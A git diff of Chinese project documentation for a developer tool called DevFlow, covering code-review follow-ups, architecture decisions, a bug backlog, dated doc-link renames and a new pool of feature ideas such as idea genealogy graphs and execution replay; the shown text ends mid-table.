### 📋 项目管理 review 剩余问题与处理论证(供后续会话)[2026-06-14]
|
||||||
|
- **背景**:项目管理 review 12 条,9 条已修(①delete 软删 / ②回收站工具 restore+purge+list_trash / ③collect_sample spawn_blocking / ④normalize_path 抽公共 / ⑥i18n / ⑦parseStack 抽 utils / ⑧ConfirmDialog / ⑫create_project 加 path)。剩余 4 条 + 1 新发现论证如下,设计视角取**全局 + 对称 + 优雅**,非局部最优。
|
||||||
|
- **值得改(全局必要 + 对称缺失)**:
|
||||||
|
- **⑤ update 白名单双份**(tool_registry update_project 硬编码 5 字段 vs crud allowed_columns,已致一次 bug)。对称论证:两者**语义不同**——DB 白名单=SQL 安全列(含 id/created_at/idea_id 系统字段),AI 白名单=业务可改子集。不能复制,应**派生**(AI ⊂ DB,减系统字段),真相源在 DB 一处。当前平行两份不对称,必漂移。
|
||||||
|
- **⑩ scan_project_with_ai 无 LLM 超时**。全局:complete 卡住占 `llm_concurrency` 全局 permit → 阻塞主对话/标题生成/知识提炼,不止单次扫描。对称:`stream_llm` 有 idle 120s timeout(见「流式可靠性三重保险」),complete 非流式却无——两套 LLM 超时策略不对称,应对齐。
|
||||||
|
- **🆕 create_project 与 bind_directory 绑定逻辑重复**(tool_registry create:170 内联绑定 + bind_directory:220 重复,已标 TODO;commands/project.rs create/relocate 同样)。对称+优雅:绑定是单一子操作,应集中 df-project(normalize_path 已归此),create/bind/relocate 共用一个 bind fn。当前 create 内联 bind 破坏「同名操作同实现」的对称。
|
||||||
|
- **低优先(局部优化,降级兜底,过度反伤优雅)**:
|
||||||
|
- ⑨ collect_sample 文件大小限制:read_to_string 全读再截,实际 README/清单 <10KB 概率低。最多一行 `metadata skip >1MB`,不必过度。
|
||||||
|
- ⑪ parse_scan_result JSON 提取:单 JSON 对象 OK,多段场景降级兜底(空 desc+规则 stack)已足够。
|
||||||
|
- **状态**:📋 待后续会话处理。优先级 ⑤⑩ + create/bind 去重(中,全局/对称必要)> ⑨⑪(低/可选)。
|
||||||
|
|
||||||
## 知识库(df-evolve / 共享记忆层)
|
## 知识库(df-evolve / 共享记忆层)
|
||||||
|
|
||||||
> 核心定位与设计决策。详细字段/参数级决策见各条目。
|
> 核心定位与设计决策。详细字段/参数级决策见各条目。
|
||||||
@@ -277,7 +294,7 @@
|
|||||||
|
|
||||||
## AI Chat 上下文窗口与并发控制(架构结论)
|
## AI Chat 上下文窗口与并发控制(架构结论)
|
||||||
|
|
||||||
> 实现细节见 [归档文档](./功能决策记录-归档.md)「AI Chat 上下文窗口与并发控制」。
|
> 实现细节见 [归档文档](./功能决策记录-归档-2026-06-14.md)「AI Chat 上下文窗口与并发控制」。
|
||||||
|
|
||||||
### 设计决策 [2026-06-13]
|
### 设计决策 [2026-06-13]
|
||||||
- **ContextManager 类型替换为 messages 真相源**:`AiSession.messages` 从 `Vec<ChatMessage>` 改为 `ContextManager`(非 wrapper 包装层),消息真相源唯一,避免 Vec + ContextManager 双存导致状态分裂。裁剪仅影响发送视图(`build_for_request` 返回裁剪版,`all_messages_clone` 返全量落库)。
|
- **ContextManager 类型替换为 messages 真相源**:`AiSession.messages` 从 `Vec<ChatMessage>` 改为 `ContextManager`(非 wrapper 包装层),消息真相源唯一,避免 Vec + ContextManager 双存导致状态分裂。裁剪仅影响发送视图(`build_for_request` 返回裁剪版,`all_messages_clone` 返全量落库)。
|
||||||
@@ -317,7 +334,7 @@
|
|||||||
- **原因**:重启后分离窗口必然不存在,若恢复为 `true` 会让 UI 状态指向不存在的窗口(按钮失灵、panelOpen 错乱)。这两个态是运行时临时态,不属可恢复布局。
|
- **原因**:重启后分离窗口必然不存在,若恢复为 `true` 会让 UI 状态指向不存在的窗口(按钮失灵、panelOpen 错乱)。这两个态是运行时临时态,不属可恢复布局。
|
||||||
- **状态**:✅ Sprint 10
|
- **状态**:✅ Sprint 10
|
||||||
|
|
||||||
> 注:UI 布局 localStorage + 模块级恢复的细节见 [归档文档](./功能决策记录-归档.md)。
|
> 注:UI 布局 localStorage + 模块级恢复的细节见 [归档文档](./功能决策记录-归档-2026-06-14.md)。
|
||||||
|
|
||||||
## 应用启动 / 数据库配置
|
## 应用启动 / 数据库配置
|
||||||
|
|
||||||
@@ -344,10 +361,10 @@
|
|||||||
|
|
||||||
## 决策治理产品化评估(2026-06-13)
|
## 决策治理产品化评估(2026-06-13)
|
||||||
|
|
||||||
> 审视 DevFlow 是否应把决策治理(记录/锚点/完成度/自检/漂移)做成产品功能。机制设计详见 [规格契约自检机制.md](./规格契约自检机制.md)。
|
> 审视 DevFlow 是否应把决策治理(记录/锚点/完成度/自检/漂移)做成产品功能。机制设计详见 [规格契约自检机制-2026-06-14.md](./规格契约自检机制-2026-06-14.md)。
|
||||||
|
|
||||||
### 5 痛点产品内未覆盖,真实运转的寄生 Claude Code 层 [2026-06-13]
|
### 5 痛点产品内未覆盖,真实运转的寄生 Claude Code 层 [2026-06-13]
|
||||||
- **决策**:DevFlow 产品内对决策治理 5 痛点「设计满格、代码两极」——df-traceability 死代码(无表/无 IPC/无前端);契约锚点/AI 自检/漂移检测=规格契约自检机制.md 纯设计稿(0 行代码);完成度无聚合视图。唯一真实运转的(功能决策记录.md + decision-record skill + dr-check hook)寄生在 Claude Code 协作层,未沉淀进产品。
|
- **决策**:DevFlow 产品内对决策治理 5 痛点「设计满格、代码两极」——df-traceability 死代码(无表/无 IPC/无前端);契约锚点/AI 自检/漂移检测=规格契约自检机制-2026-06-14.md 纯设计稿(0 行代码);完成度无聚合视图。唯一真实运转的(功能决策记录-2026-06-14.md + decision-record skill + dr-check hook)寄生在 Claude Code 协作层,未沉淀进产品。
|
||||||
- **原因/取舍**:没用 Claude Code 的用户,DevFlow 给不了任何决策治理能力。这套能力寄生在协作工具上,核心价值未进产品。
|
- **原因/取舍**:没用 Claude Code 的用户,DevFlow 给不了任何决策治理能力。这套能力寄生在协作工具上,核心价值未进产品。
|
||||||
- **状态**:📐 待产品定位决策
|
- **状态**:📐 待产品定位决策
|
||||||
|
|
||||||
@@ -369,7 +386,7 @@
|
|||||||
- **决策**:整删 5 个 crate——`df-evolve` / `df-plugin` / `df-stages` / `df-task` / `df-traceability`。**推翻既有「df-evolve 领域类型保留」决策**:连同 `Knowledge`/`PromptTemplate`/`ReviewRule` 领域类型一起整删,知识库领域统一走 `df_storage::models::KnowledgeRecord`,不再维护独立领域模型层。
|
- **决策**:整删 5 个 crate——`df-evolve` / `df-plugin` / `df-stages` / `df-task` / `df-traceability`。**推翻既有「df-evolve 领域类型保留」决策**:连同 `Knowledge`/`PromptTemplate`/`ReviewRule` 领域类型一起整删,知识库领域统一走 `df_storage::models::KnowledgeRecord`,不再维护独立领域模型层。
|
||||||
- **原因/取舍**:
|
- **原因/取舍**:
|
||||||
- **零引用铁证**:全仓跨 crate 引用为 0——`src-tauri/src` 下 0 处 `use`,其他 crate `Cargo.toml` 不依赖,仅 `src-tauri/Cargo.toml` 声明 `df-evolve` 但源码零用。整坨孤立骨架。
|
- **零引用铁证**:全仓跨 crate 引用为 0——`src-tauri/src` 下 0 处 `use`,其他 crate `Cargo.toml` 不依赖,仅 `src-tauri/Cargo.toml` 声明 `df-evolve` 但源码零用。整坨孤立骨架。
|
||||||
- **推翻归档决策**:`功能决策记录-归档.md:355` 原记「`Knowledge`/`PromptTemplate`/`ReviewRule` 领域类型有意保留待 Tier 1 Service 复用」——本次决定**放弃 Tier 1 独立领域模型路线**。理由:① 知识库 Tier 1 已在 `KnowledgeRecord`(df-storage)上落地 LIKE + 向量混合检索 + 状态机,实际运转的领域模型就是 `KnowledgeRecord`,df-evolve 的领域类型成为「理想但悬空」的另一套定义,重复且误导;② 维护两套领域类型是「未来可能复用」的预期成本 vs 「现在重复定义 + 误导性地雷」的实际危害,用户选消灭后者。
|
- **推翻归档决策**:`功能决策记录-归档-2026-06-14.md:355` 原记「`Knowledge`/`PromptTemplate`/`ReviewRule` 领域类型有意保留待 Tier 1 Service 复用」——本次决定**放弃 Tier 1 独立领域模型路线**。理由:① 知识库 Tier 1 已在 `KnowledgeRecord`(df-storage)上落地 LIKE + 向量混合检索 + 状态机,实际运转的领域模型就是 `KnowledgeRecord`,df-evolve 的领域类型成为「理想但悬空」的另一套定义,重复且误导;② 维护两套领域类型是「未来可能复用」的预期成本 vs 「现在重复定义 + 误导性地雷」的实际危害,用户选消灭后者。
|
||||||
- **df-task::Task 一并删**:`Task`(含 `branch_id`/`tags`/`estimate_hours` 等比 `TaskRecord` 更丰富的字段)作为「理想任务领域模型」长期悬空零引用,任务领域统一用 `df_storage::models::TaskRecord`。
|
- **df-task::Task 一并删**:`Task`(含 `branch_id`/`tags`/`estimate_hours` 等比 `TaskRecord` 更丰富的字段)作为「理想任务领域模型」长期悬空零引用,任务领域统一用 `df_storage::models::TaskRecord`。
|
||||||
- **df-traceability 整删**:原被记为「锚点雏形可复活」(见上方「决策治理产品化评估」)。本次决定删除——如未来真需锚点机制,重新评估而非保留死码。死码「可复活」是一种伪期权,实际价值是误导后续维护者以为它在运转。
|
- **df-traceability 整删**:原被记为「锚点雏形可复活」(见上方「决策治理产品化评估」)。本次决定删除——如未来真需锚点机制,重新评估而非保留死码。死码「可复活」是一种伪期权,实际价值是误导后续维护者以为它在运转。
|
||||||
- **df-plugin / df-stages 属过早设计**:df-plugin(WASM/动态库)、df-stages(11 阶段节点 `execute()` 全空壳)未启动即删,与「人机协同设计基准」中「AI 反复读写的代码不养空壳」一致。
|
- **df-plugin / df-stages 属过早设计**:df-plugin(WASM/动态库)、df-stages(11 阶段节点 `execute()` 全空壳)未启动即删,与「人机协同设计基准」中「AI 反复读写的代码不养空壳」一致。
|
||||||
@@ -411,7 +428,7 @@
|
|||||||
4. **无环且与 ai.rs 拆分不冲突**:`df-ai-core`(叶,trait+类型)← `df-ai`(impl) / `df-ideas`(use trait),`src-tauri` 装配。「ai.rs 子 module 不下沉 crate」规避的是 src-tauri→df-ai 反向依赖;本决策是 df-ai→df-ai-core 正向拆分,方向相反、互不矛盾。
|
4. **无环且与 ai.rs 拆分不冲突**:`df-ai-core`(叶,trait+类型)← `df-ai`(impl) / `df-ideas`(use trait),`src-tauri` 装配。「ai.rs 子 module 不下沉 crate」规避的是 src-tauri→df-ai 反向依赖;本决策是 df-ai→df-ai-core 正向拆分,方向相反、互不矛盾。
|
||||||
- **否决项**:纯 A(per-module trait)= 全局 N 份发散契约,反模式;裸 B(df-ideas 直接依赖 df-ai)= 纯逻辑 crate 被 reqwest 污染、自检摩擦上升。
|
- **否决项**:纯 A(per-module trait)= 全局 N 份发散契约,反模式;裸 B(df-ideas 直接依赖 df-ai)= 纯逻辑 crate 被 reqwest 污染、自检摩擦上升。
|
||||||
- **退路**:若不愿加新 crate,trait 可放 `df-core`(语义稍糙——LLM 非领域类型,但零新 crate,可接受)。
|
- **退路**:若不愿加新 crate,trait 可放 `df-core`(语义稍糙——LLM 非领域类型,但零新 crate,可接受)。
|
||||||
- **状态**:📐 设计决策已定(2026-06-14),未实施。落地链:① 新建 `df-ai-core` + 迁 trait/类型;② `df-ai` 改依赖 `df-ai-core` + 留实现;③ `df-ideas` 加 `df-ai-core` 依赖、`AdversarialEngine::evaluate` 加 provider 注入参数;④ src-tauri 装配真实 provider。
|
- **状态**:📐 设计定稿(2026-06-14,4 项决策已定:① 拆分边界=仅 trait+数据结构 ② provider 注入=构造注入 `Engine::new(Option<Arc<dyn LlmProvider>>)` ③ LLM 失败=自动降级启发式+warn+`EvaluatedBy` 标记 ④ provider 构造=应用层 src-tauri 装配注入),未实施。详见 [F-07-df-ai-core-trait下沉设计-2026-06-14.md](./F-07-df-ai-core-trait下沉设计-2026-06-14.md)。
|
||||||
|
|
||||||
## 工作流人工审批节点(B-03)
|
## 工作流人工审批节点(B-03)
|
||||||
|
|
||||||
@@ -424,7 +441,7 @@
|
|||||||
4. **decision 强制校验**:options 非空时强制 `decision ∈ options`,非法值报错而非静默放行——审批门控不能被脏输入绕过;options 空时允许自由文本。
|
4. **decision 强制校验**:options 非空时强制 `decision ∈ options`,非法值报错而非静默放行——审批门控不能被脏输入绕过;options 空时允许自由文本。
|
||||||
5. **B-06/B-07 是并发隔离/取消的前置,非单流功能前置**:单工作流 B-03 照常工作;并发安全等 B-06(execution_id 下沉);取消机制需 B-07 + `set_cancelled` + cancel IPC,单列 **B-03b**。B-03a(响应等待 + 超时)不依赖 B-07。
|
5. **B-06/B-07 是并发隔离/取消的前置,非单流功能前置**:单工作流 B-03 照常工作;并发安全等 B-06(execution_id 下沉);取消机制需 B-07 + `set_cancelled` + cancel IPC,单列 **B-03b**。B-03a(响应等待 + 超时)不依赖 B-07。
|
||||||
- **边界**:取消分支在 B-07 + `set_cancelled` 补齐前恒 false(等价无取消,功能不残);跨工作流并发 HumanNode 在 B-06 修前有 Response 错配风险。
|
- **边界**:取消分支在 B-07 + `set_cancelled` 补齐前恒 false(等价无取消,功能不残);跨工作流并发 HumanNode 在 B-06 修前有 Response 错配风险。
|
||||||
- **状态**:📐 设计完成(2026-06-14),未实施。详见 [B-03-人工审批响应机制.md](./B-03-人工审批响应机制.md)。
|
- **状态**:📐 设计完成(2026-06-14),未实施。详见 [B-03-人工审批响应机制-2026-06-14.md](./B-03-人工审批响应机制-2026-06-14.md)。
|
||||||
|
|
||||||
## 需求与待办
|
## 需求与待办
|
||||||
|
|
||||||
@@ -446,7 +463,7 @@
|
|||||||
| ✅ IPC参数驼峰/蛇形不对齐(误报澄清):Tauri v2 自动将前端 camelCase 参数名转后端 snake_case,`approve({toolCallId})` / `setConcurrencyConfig({globalLimit})` 实际正确、功能正常——无需修 | AI Chat | 2026-06-13 审查误报 | — |
|
| ✅ IPC参数驼峰/蛇形不对齐(误报澄清):Tauri v2 自动将前端 camelCase 参数名转后端 snake_case,`approve({toolCallId})` / `setConcurrencyConfig({globalLimit})` 实际正确、功能正常——无需修 | AI Chat | 2026-06-13 审查误报 | — |
|
||||||
| 🔴 df-workflow ConditionEngine 默认 true:所有未识别条件表达式均通过,工作流条件分支形同虚设,改 `Ok(false)` 或 `Err` 一行可修 | 工作流引擎 | 2026-06-13 代码审查 | P0 |
|
| 🔴 df-workflow ConditionEngine 默认 true:所有未识别条件表达式均通过,工作流条件分支形同虚设,改 `Ok(false)` 或 `Err` 一行可修 | 工作流引擎 | 2026-06-13 代码审查 | P0 |
|
||||||
| 🔴 df-workflow DagExecutor execution_id 硬编码 "dummy-execution-id":所有执行 ID 相同,追踪/审计失效 | 工作流引擎 | 2026-06-13 代码审查 | P1 |
|
| 🔴 df-workflow DagExecutor execution_id 硬编码 "dummy-execution-id":所有执行 ID 相同,追踪/审计失效 | 工作流引擎 | 2026-06-13 代码审查 | P1 |
|
||||||
| 📐 df-workflow HumanNode 假实现:execute 注释"等待审批"但首次迭代直接 return "同意" — **设计完成 [B-03-人工审批响应机制.md](./B-03-人工审批响应机制.md),待实施**(依赖 B-06 并发隔离 / B-07 取消前置) | 工作流引擎 | 2026-06-13 多代理探索 → 2026-06-14 设计 | P0 |
|
| 📐 df-workflow HumanNode 假实现:execute 注释"等待审批"但首次迭代直接 return "同意" — **设计完成 [B-03-人工审批响应机制-2026-06-14.md](./B-03-人工审批响应机制-2026-06-14.md),待实施**(依赖 B-06 并发隔离 / B-07 取消前置) | 工作流引擎 | 2026-06-13 多代理探索 → 2026-06-14 设计 | P0 |
|
||||||
| 🔴 df-workflow NodeRegistry::default() 的 script 工厂 unimplemented! panic:用 default() 构建注册表 + 跑 script 节点即崩溃进程(非优雅 Err) | 工作流引擎 | 2026-06-13 多代理探索 | P0 |
|
| 🔴 df-workflow NodeRegistry::default() 的 script 工厂 unimplemented! panic:用 default() 构建注册表 + 跑 script 节点即崩溃进程(非优雅 Err) | 工作流引擎 | 2026-06-13 多代理探索 | P0 |
|
||||||
| 🔴 df-workflow executor 每节点拿全新空 StateMachine:self.state_machine 从不传入 NodeContext,HumanNode is_cancelled 恒 false,取消机制失效 | 工作流引擎 | 2026-06-13 多代理探索 | P1 |
|
| 🔴 df-workflow executor 每节点拿全新空 StateMachine:self.state_machine 从不传入 NodeContext,HumanNode is_cancelled 恒 false,取消机制失效 | 工作流引擎 | 2026-06-13 多代理探索 | P1 |
|
||||||
| 🟡 promote_idea 两步写非事务:INSERT project 成功后若 UPDATE idea 失败,项目存在但想法状态未变,补偿删除可修 | 灵感/立项 | 2026-06-13 代码审查 | P1 |
|
| 🟡 promote_idea 两步写非事务:INSERT project 成功后若 UPDATE idea 失败,项目存在但想法状态未变,补偿删除可修 | 灵感/立项 | 2026-06-13 代码审查 | P1 |
|
||||||
@@ -465,8 +482,8 @@
|
|||||||
- **代码审查甄别原则**(2026-06-13):审查发现问题时,按「运行时失败/数据损坏 → 简单清理 → 记录不动 → 不做」四档甄别。当前项目规模下,list_all 无 LIMIT、ALLOWED_COLUMNS 不分表、bool→int 重复等属「记录不动」——个人工具表不超千行,加分页/拆白名单是过度设计,维护成本 >> 收益。原则:**真实 bug 修、简单清理做、规模不到位的优化先不动**,保持全局简洁和扩展容易。
|
- **代码审查甄别原则**(2026-06-13):审查发现问题时,按「运行时失败/数据损坏 → 简单清理 → 记录不动 → 不做」四档甄别。当前项目规模下,list_all 无 LIMIT、ALLOWED_COLUMNS 不分表、bool→int 重复等属「记录不动」——个人工具表不超千行,加分页/拆白名单是过度设计,维护成本 >> 收益。原则:**真实 bug 修、简单清理做、规模不到位的优化先不动**,保持全局简洁和扩展容易。
|
||||||
|
|
||||||
**相关文档**:
|
**相关文档**:
|
||||||
- [Phase 1 架构决策](./Phase1架构决策.md) — 架构级决策(ADR)
|
- [Phase 1 架构决策](./Phase1架构决策-2026-06-12.md) — 架构级决策(ADR)
|
||||||
- [经验记录](./经验记录.md) — 踩坑/约定/技巧/bug 排查教训
|
- [经验记录](./经验记录-2026-06-14.md) — 踩坑/约定/技巧/bug 排查教训
|
||||||
- [功能决策记录-归档](./功能决策记录-归档.md) — 纯流水/老 Sprint/UX 微调/已被取代
|
- [功能决策记录-归档](./功能决策记录-归档-2026-06-14.md) — 纯流水/老 Sprint/UX 微调/已被取代
|
||||||
- `PROGRESS.md` — 各 Sprint 工作流水与遗留
|
- `PROGRESS.md` — 各 Sprint 工作流水与遗留
|
||||||
- [Phase 2 计划](../07-项目管理/Phase2计划.md)
|
- [Phase 2 计划](../07-项目管理/Phase2计划-2026-06-12.md)
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# 功能决策记录 — 归档
|
# 功能决策记录 — 归档
|
||||||
|
|
||||||
> 从 [功能决策记录.md](./功能决策记录.md) 归档的条目——纯实现流水、老 Sprint 决策、UX 微调、已被取代或合并的细节。这些条目在「3 个月回看是否仍影响系统/功能设计理解」判断下已不再需要常驻主文档,但完整保留以备回溯。
|
> 从 [功能决策记录-2026-06-14.md](./功能决策记录-2026-06-14.md) 归档的条目——纯实现流水、老 Sprint 决策、UX 微调、已被取代或合并的细节。这些条目在「3 个月回看是否仍影响系统/功能设计理解」判断下已不再需要常驻主文档,但完整保留以备回溯。
|
||||||
>
|
>
|
||||||
> 创建:2026-06-14 | 性质:归档只读,不再维护更新
|
> 创建:2026-06-14 | 性质:归档只读,不再维护更新
|
||||||
|
|
||||||
@@ -219,11 +219,11 @@
|
|||||||
|
|
||||||
### 流式 token 落库走累加模式(非覆盖)
|
### 流式 token 落库走累加模式(非覆盖)
|
||||||
|
|
||||||
> 已移入 [经验记录.md](./经验记录.md)「约定」分组。
|
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「约定」分组。
|
||||||
|
|
||||||
### Anthropic 流式 output_tokens 当累计值直接覆盖
|
### Anthropic 流式 output_tokens 当累计值直接覆盖
|
||||||
|
|
||||||
> 已移入 [经验记录.md](./经验记录.md)「约定」分组。
|
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「约定」分组。
|
||||||
|
|
||||||
### Token 展示默认关闭 + Settings 开关 [2026-06-13]
|
### Token 展示默认关闭 + Settings 开关 [2026-06-13]
|
||||||
|
|
||||||
@@ -372,7 +372,7 @@
|
|||||||
|
|
||||||
### ALLOWED_COLUMNS 从全局共享演进为按表隔离
|
### ALLOWED_COLUMNS 从全局共享演进为按表隔离
|
||||||
|
|
||||||
> 已移入 [经验记录.md](./经验记录.md)「约定」分组。
|
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「约定」分组。
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -392,7 +392,7 @@
|
|||||||
|
|
||||||
### i18n 模块必须命名空间化导出
|
### i18n 模块必须命名空间化导出
|
||||||
|
|
||||||
> 已移入 [经验记录.md](./经验记录.md)「踩坑」分组。
|
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「踩坑」分组。
|
||||||
|
|
||||||
### 状态枚举 i18n:constants 存 key,view 包 $t
|
### 状态枚举 i18n:constants 存 key,view 包 $t
|
||||||
|
|
||||||
@@ -403,5 +403,5 @@
|
|||||||
---
|
---
|
||||||
|
|
||||||
**相关文档**:
|
**相关文档**:
|
||||||
- [功能决策记录](./功能决策记录.md) — 需求规格 + 设计决策规格(当前真相源)
|
- [功能决策记录](./功能决策记录-2026-06-14.md) — 需求规格 + 设计决策规格(当前真相源)
|
||||||
- [经验记录](./经验记录.md) — 踩坑/约定/技巧/bug 排查教训
|
- [经验记录](./经验记录-2026-06-14.md) — 踩坑/约定/技巧/bug 排查教训
|
||||||
|
|||||||
150
docs/02-架构设计/功能创意池-2026-06-14.md
Normal file
150
docs/02-架构设计/功能创意池-2026-06-14.md
Normal file
@@ -0,0 +1,150 @@
|
|||||||
|
# 功能创意池 — 2026-06-14
|
||||||
|
|
||||||
|
> 性质: **创意池 / 待评估**(非已定决策。评估通过后才转正式 concept 文档 + 进 todo)
|
||||||
|
> 关联: df-ideas · df-workflow · df-ai · Decision 实体 · 规格契约自检机制
|
||||||
|
> 生成背景: 基于当前系统做功能架构创意,尽量避开已构想范围(创意 4/5 与规格契约自检为延伸关系,见各创意独创列)
|
||||||
|
> 修订: 2026-06-14 自审后修订 —— 可行性论证诚实化(复用/新造分清)、创意 4/5 重定位为规格契约自检延伸、首选从 4 改为 1、每创意补「难点与风险 + 失败模式」
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 一、怎么用这个池子
|
||||||
|
|
||||||
|
- 每个创意 = 一个**候选功能方向**,非已定决策
|
||||||
|
- 状态流转: `💡待评估` → `📐待设计`(立 concept 文档) → `🔨待实施`(进 todo)
|
||||||
|
- 评估维度: 新颖性 / 实用价值 / 可行性 / 与现有构想的差异度
|
||||||
|
- 转正流程: 评估通过 → 单独立 `<主题>-concept.md`(参考 `任务推进构想-2026-06-14.md` 风格)→ 进 todo
|
||||||
|
|
||||||
|
## 二、已避开的方向(防重复提案)
|
||||||
|
|
||||||
|
| 已有/已构想方向 | 落点 |
|
||||||
|
|---|---|
|
||||||
|
| AI-First 任务推进链(三闸门) | `任务推进构想-2026-06-14.md` 已设计 |
|
||||||
|
| 对抗式想法评估(三路论证) | df-ideas 启发式版已实现 |
|
||||||
|
| 工作流审批子系统 | Wave5 已完成 |
|
||||||
|
| 对话内异步审批 | `aichat异步审批构想-2026-06-14.md` |
|
||||||
|
| 信息密度优化(折叠) | `aichat信息密度构想-2026-06-14.md` |
|
||||||
|
| 模型能力系统/路由 | todo `F-260614-01` |
|
||||||
|
| 数据变更联动刷新 | todo `AR-11` |
|
||||||
|
| 创作模板系统 | todo 已构想 |
|
||||||
|
| 知识库 MCP Server | todo `F-260614-10` |
|
||||||
|
| **规格契约自检(活契约+AI自检)** | `规格契约自检机制-2026-06-14.md`。⚠️ **创意 4/5 是其延伸(从一致性 → 陈旧度/回归),非完全避开** |
|
||||||
|
|
||||||
|
**本池 5 个创意切入的空白维度**: 演化 · 时效 · 回溯 · 债务 · 契约
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 三、创意清单
|
||||||
|
|
||||||
|
> 每个创意含: 核心表格(可行性列区分「复用」与「新造」)+ ⚠️ 难点与风险 + 💀 失败模式
|
||||||
|
|
||||||
|
### 1. 想法演化图谱(Idea Genealogy Graph) 💡待评估 ⭐首选评估
|
||||||
|
|
||||||
|
| 维度 | 内容 |
|
||||||
|
|---|---|
|
||||||
|
| **核心** | 给想法做版本控制: 分裂(A→A1/A2 变体)、合并(B+C→D)、演化(A1→A2 迭代)。形成有向演化树,而非当前扁平列表。注: `related_ideas` 字段是否真闲置待核实 |
|
||||||
|
| **独创** | **中**。把想法当"活体"追踪血统,区别于笔记/看板的扁平存储。但"分裂/合并"本质是版本控制 + 关系图(Git 已是此模型),套到想法上是应用层创新,非机制创新 |
|
||||||
|
| **价值** | 独立开发者痛点: 想法散落、重复想同一件事而不自知。演化图能回答"这想法三年前想过、演变成啥、为何没做" |
|
||||||
|
| **可行性** | **复用**: Idea 实体加 `parent_id / derived_from[] / merged_into` 三字段 + 前端复用 df-workflow DAG 可视化 + 评分引擎增量重算子树。**新造**: 关系建立机制(见难点,是真正成本所在) |
|
||||||
|
| **落地关键** | 关系字段建模 + 演化树渲染 + 分裂/合并交互 |
|
||||||
|
|
||||||
|
**⚠️ 难点与风险**
|
||||||
|
- **关系谁来建是核心漏洞**: 手动建 → 用户不知两想法相关,图谱永远稀疏;AI 辅助建 → 需语义相似度检索(当前 df-ideas 无此能力),不是"加三字段"那么轻
|
||||||
|
- 演化树布局算法非平凡(多层 DAG 节点排布,复用 DAG 可视化但树 ≠ 工作流 DAG)
|
||||||
|
- 关系正确性: 错误的合并/分裂会污染反推的产品方向
|
||||||
|
|
||||||
|
**💀 失败模式**: 图谱稀疏(没人建关系)→ 沦为摆设;或 AI 误判相似度 → 错误合并污染演化树。
|
||||||
|
|
||||||
|
### 2. 灵感孵化器(Idea Incubator) 💡待评估
|
||||||
|
|
||||||
|
| 维度 | 内容 |
|
||||||
|
|---|---|
|
||||||
|
| **核心** | 评估为 `Defer` / 低分的想法进"孵化器"。三类事件触发自动再评估: ①新技术栈匹配能力;②新想法建立演化关联;③固定周期(如 30 天)。时机成熟浮出提醒 |
|
||||||
|
| **独创** | **中**。承认想法有时效性,把评估从"快照"变"持续监听"。但"延迟队列 + 条件触发"是通用模式,挂到想法上是场景应用 |
|
||||||
|
| **价值** | 好想法死于"现在不是时候"后被遗忘。背景静默复检,贴合产研节奏 |
|
||||||
|
| **可行性** | **复用**: `adversarial.rs` 评估管线(已预留 LLM 接口)。**新造**: `incubator` 表 + 后台 ticker + 触发条件 DSL。**注意**: 评估当前手动触发(晋升走前端),后台自动重评估触及触发机制,**非纯增量** |
|
||||||
|
| **落地关键** | 触发条件 DSL + 后台 ticker + 浮出提醒 |
|
||||||
|
|
||||||
|
**⚠️ 难点与风险**
|
||||||
|
- 评估从手动 → 自动触及核心链路(触发机制改造),不是"纯增量不碰核心"
|
||||||
|
- 触发条件①"新技术栈匹配"要求 Idea 能表达"我需要什么技术栈",当前 Idea 实体无此字段 —— 可行性有前置漏洞
|
||||||
|
- **依赖创意 1**: 触发器②"演化关联"依赖创意 1 的演化关系先存在(见第四节依赖)
|
||||||
|
|
||||||
|
**💀 失败模式**: 触发条件太宽 → 频繁打扰变垃圾提醒;太窄 → 永不触发,等同丢弃。
|
||||||
|
|
||||||
|
### 3. 执行回放时间线(Execution Replay) 💡待评估
|
||||||
|
|
||||||
|
| 维度 | 内容 |
|
||||||
|
|---|---|
|
||||||
|
| **核心** | 工作流执行 + Git commit + AI 决策录制为不可变时间线。可回退到任意历史节点,隔离环境改参数重放分支(what-if),对比结果差异 |
|
||||||
|
| **独创** | **中**。可回放工作流是成熟模式(temporal/cadence 的 event sourcing + replay)。**独创点应收敛到"决策级 what-if 回放"**(面向产研决策维度的假设检验),工作流回放只是载体,非独创本身 |
|
||||||
|
| **价值** | 回答"如果当时审批选了另一分支会怎样""AI 节点为何这么决策"。对复盘、调试失败工作流价值高 |
|
||||||
|
| **可行性** | **复用**: `df-execute` Docker 隔离 + `df-workflow` DAG / node IO 结构化。**新造**: 节点 IO 快照持久化 + 状态机重放 + 副作用处理。**注意**: Docker 隔离 ≠ 可重放,隔离只解决执行环境,快照/重放是新工作量 |
|
||||||
|
| **落地关键** | 节点 IO 快照持久化 + 隔离环境重放 + diff 对比视图 |
|
||||||
|
|
||||||
|
**⚠️ 难点与风险**
|
||||||
|
- "架构已铺好差最后一公里"高估 —— 最后一公里(快照序列化 + 状态机重放 + 副作用处理)可能是最难的
|
||||||
|
- 副作用处理: 有外部副作用的节点(写文件/调 API)无法纯重放,需标记 + mock
|
||||||
|
- 存储成本: 全程录制 IO,长期项目存储膨胀
|
||||||
|
|
||||||
|
**💀 失败模式**: 副作用节点无法重放 → what-if 结果失真;或快照存储膨胀 → 用户关闭录制。
|
||||||
|
|
||||||
|
### 4. 上下文债务追踪(Context Debt Tracker) 💡待评估
|
||||||
|
|
||||||
|
| 维度 | 内容 |
|
||||||
|
|---|---|
|
||||||
|
| **核心** | AI 定期审计项目"隐式债务": ①引用已删除文件的决策;②"暂时如此"从未回头的 TODO;③前提假设失效;④重复实现/废弃路径。生成债务报告 + 偿还优先级 |
|
||||||
|
| **独创** | **中高(重定位)**: 本创意是 [规格契约自检机制](规格契约自检机制-2026-06-14.md)的**延伸** —— 从"AI 自检决策规格是否被遵守(一致性)"扩展到"AI 自检决策是否腐化(陈旧度)"。非全新方向,是规格契约自检的第二个应用维度 |
|
||||||
|
| **价值** | 长期项目头号隐性成本是"上下文腐化"。让 AI 当项目审计师。对维护多项目尤其救命 |
|
||||||
|
